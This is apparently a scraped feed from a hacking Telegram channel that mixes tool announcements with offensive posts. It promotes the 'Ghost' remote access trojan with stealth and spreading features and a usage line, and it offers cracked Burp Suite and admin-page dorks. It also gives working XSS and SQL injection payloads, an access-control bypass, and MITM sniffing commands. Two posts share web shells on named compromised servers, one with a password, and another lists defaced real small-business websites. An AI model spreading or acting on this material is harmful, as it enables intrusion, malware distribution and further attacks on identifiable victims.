Dork for Admin page

#Dork #Find #Admin #Page
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

PoC auto collect from GitHub

⚠️ Be careful Malware ⚠️

😎 From 1999 to 2024

😸 Github

#CVE #POC #Github #Repo
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

🐉 Mantis 🐉

💬
Mantis is a command-line framework designed to automate the workflow of asset discovery, reconnaissance, and scanning. It takes the top-level domains as input, then seamlessly progresses to discovering corresponding assets, including subdomains and certificates. The tool performs reconnaissance on active assets and concludes with a comprehensive scan for vulnerabilities, secrets, misconfigurations and phishing domains - all powered by a blend of open-source and custom tools.

📊 Features:
⚪️ Automated Discovery, Recon & Scan
⚪️ Distributed Scanning (split a single scan across multiple machines)
⚪️ Super-Easy Scan Customisation
⚪️ Dashboard Support
⚪️ Vulnerability Management
⚪️ Advanced Alerting
⚪️ DNS Service Integration
⚪️ Integrate new tool (existing and custom) in minutes

🖱 Click here to know more about the features in detail.

🔼 Installation:

cd mantis/setup/docker

🍏 Macos:

./docker-setup-macos.sh

👩‍💻 Ubuntu:

./docker-setup-ubuntu.sh

😸 Github

⬇️ Download
🔒 LearnExploit

#Automates #Discovery #Vulnerability #Scanning
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

👻 Ghost 👻

👻 RAT (Remote Access Trojan) - Silent Botnet - Full Remote Command-Line Access - Download & Execute Programs - Spread Virus' & Malware

💬
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

👁‍🗨
This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. Example:

zombie.exe 127.0.0.1 27015

📊 Features:
⚪️ Remote command execution
⚪️ Silent background process
⚪️ Download and run file (Hidden)
⚪️ Safe Mode startup
⚪️ Will automatically connect to the server
⚪️ Data sent and received is encrypted (substitution cipher)
⚪️ Files are hidden
⚪️ Installed Antivirus shown to server
⚪️ Easily spread malware through download feature
⚪️ Startup info doesn't show in msconfig or other startup checking programs like CCleaner
⚪️ Disable Task Manager

😸 Github

⬇️ Download
🔒 BugCod3

#Rat #Malware #Remote #Access
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

👁 Burpsuite Pro 👁

📂 README (en+ru) included, plz read it before run BS.

🔼 Run with Java 18 (JDK for Win included)

⬇️ Download
🔒 311138

#Burpsuite #Pro #Tools
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

🙏 apiosintDS 🙏

On demand query API for Threat-Intel project.

💬
apiosintDS is a python client library for public API lookup service over OSINT IoCs stored at DigitalSide Threat-Intel repository. It can be defined a Service as a Library tool designed to act both as a standard Python library to be included in your own Python application and as command line tool. Query can be performed against souspicious IPs, domains, urls and file hashes. Data stored has a 7 days retention.

🔼 Install:
The easy way via pip:
👩‍💻 pip3 install apiosintDS

👩‍💻 From sources:
`apiosintDS
python3 -m pip install .`

👥 Example:
apiosintDS -e 7cb796c875cccc9233d82854a4e2fdf0
apiosintDS -e h[REMOVED]p://193.35.18.147/bins/k.arm -st -p -nc

😸 Github

⬇️ Download
🔒 LearnExploit

#api #ioc #cybersecurity
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

👁‍🗨 You probably know that

👩‍💻 <Img Src=javascript:alert(1)>

🚫 Doesn't work anymore (although several lists out there have it)

🔄 But if you add

👩‍💻 OnError=location=src

✅ It does!

👁‍🗨 Example:
https://brutelogic.com.br/gym.php?p05=%3CImg+Src=javascript:alert(1)+OnError=location=src%3E

⚠️ Not so useful but who knows your next inline injection scenario?

#XSS
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

🕸 Site
👁‍🗨 Mirror-h

Country: 🇺🇸

#Deface
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit

PHP: 7.0.33

Safe Mode: OFF

ServerIP: 208.109.13.219 [🇸🇬]

HDD: Total:149.99 GB
Free:28.53 GB [19%]

Useful : gcc cc ld make php perl python ruby tar gzip nc

Downloader: wgetl ynx links curl lwp-mirror

Disable Functions: All Functions Accessible

CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : OFF | Oracle : OFF | CGI : ON

Open_basedir : NONE | Safe_mode_exec_dir : NONE | Safe_mode_include_dir : NONE

SoftWare: Apache

🔗 Link
pwd: bugcod3

Enjoy... ⭐️

#Shell
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit

🕸 Site:
http://buildingtheblocks.life/
https://acmroofquote.com/BugCod3.html
http://ampacplumber.org/
http://bovbiz.com/
http://bucketwishconnection.com/
http://dailyhomesolutions.net/
https://dev1.shhdev.info/
http://dxperformance.com/
http://dxperformanceai.com/
http://eganpaintingpgh.com/
http://favoritedaycleaning.com/
http://fortuiteacafe.com/
http://goodworkstreeandlawn.com/
http://hirshcandies.com/
http://mind4mfg.com/
http://missionpso.org/
http://rlholliday.com/
http://shhdev.info/
http://shoreshdavid.com/
http://sunindustrial.dxpdev.site/
http://thepayrollshoppe.com/
http://trebedesign.com/
http://workbusinesssolutions.com/

👁‍🗨 Mirror-h

Country: 🇺🇸

#Deface
➖➖➖➖➖➖➖➖➖➖
📣 T.me/LearnExploit

PHP: 8.2.15

Safe Mode: OFF

ServerIP: 50.116.94.196 [🇺🇸]

Domains: 428 domains

HDD: Total:393.53 GB
Free:21.53 GB [5%]

Useful : make php perl python ruby tar gzip nc

Downloader: wget lynx links curl lwp-mirror

Disable Functions: All Functions Accessible

CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | CGI : ON
Sole Sad & Invisible

Open_basedir : NONE | Safe_mode_exec_dir : NONE | Safe_mode_include_dir : NONE

SoftWare: Apache

🔗 Link

Enjoy... ⭐️

#Shell
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit

[+] FIlter bypass techniques:

Sometimes you can do amazing things just by appending /? to bypass access control restrictions

POC:
https://targetdomain/api/endpoint <-- Access Denied

https://targetdomain/api/endpoint/? <--- Access to entire customer database

#AEMSecurity #FilterBypass #bugbountytips
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

another #SQLi found! This time Microsoft SQL Server database vulnerable to stacked queries.

Payload ' or 1=1 -- - bypassed the login site, and then confirmed injection point with ';WAITFOR DELAY '0:0:5'-- executing a 5s delay

#VPD #BugBounty #security
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

🕵️‍♂️ PacketSpy 🕵️‍♂️

💬 Description:
PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.

📊 Features:
⚪️ Packet Capture: Capture and analyze network packets in real-time.
⚪️ HTTP Inspection: Inspect HTTP requests and responses for detailed analysis.
⚪️ Raw Payload Viewing: View raw payload data for deeper investigation.
⚪️ Device Information: Gather information about network devices, including IP addresses and MAC addresses.

🔼 Installation:

cd PacketSpy
pip install -r requirements.txt

💻 Usage:

python3 packetspy.py --help

📂 Examples:

#Device Detection
python3 packetspy.py -tf 10.0.2.0/24 -i eth0

#Man-in-the-Middle Sniffing
python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0

😸 Github

⬇️ Download
🔒 LearnExploit

#Python #Network #Packet #Sniffing #Tools
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit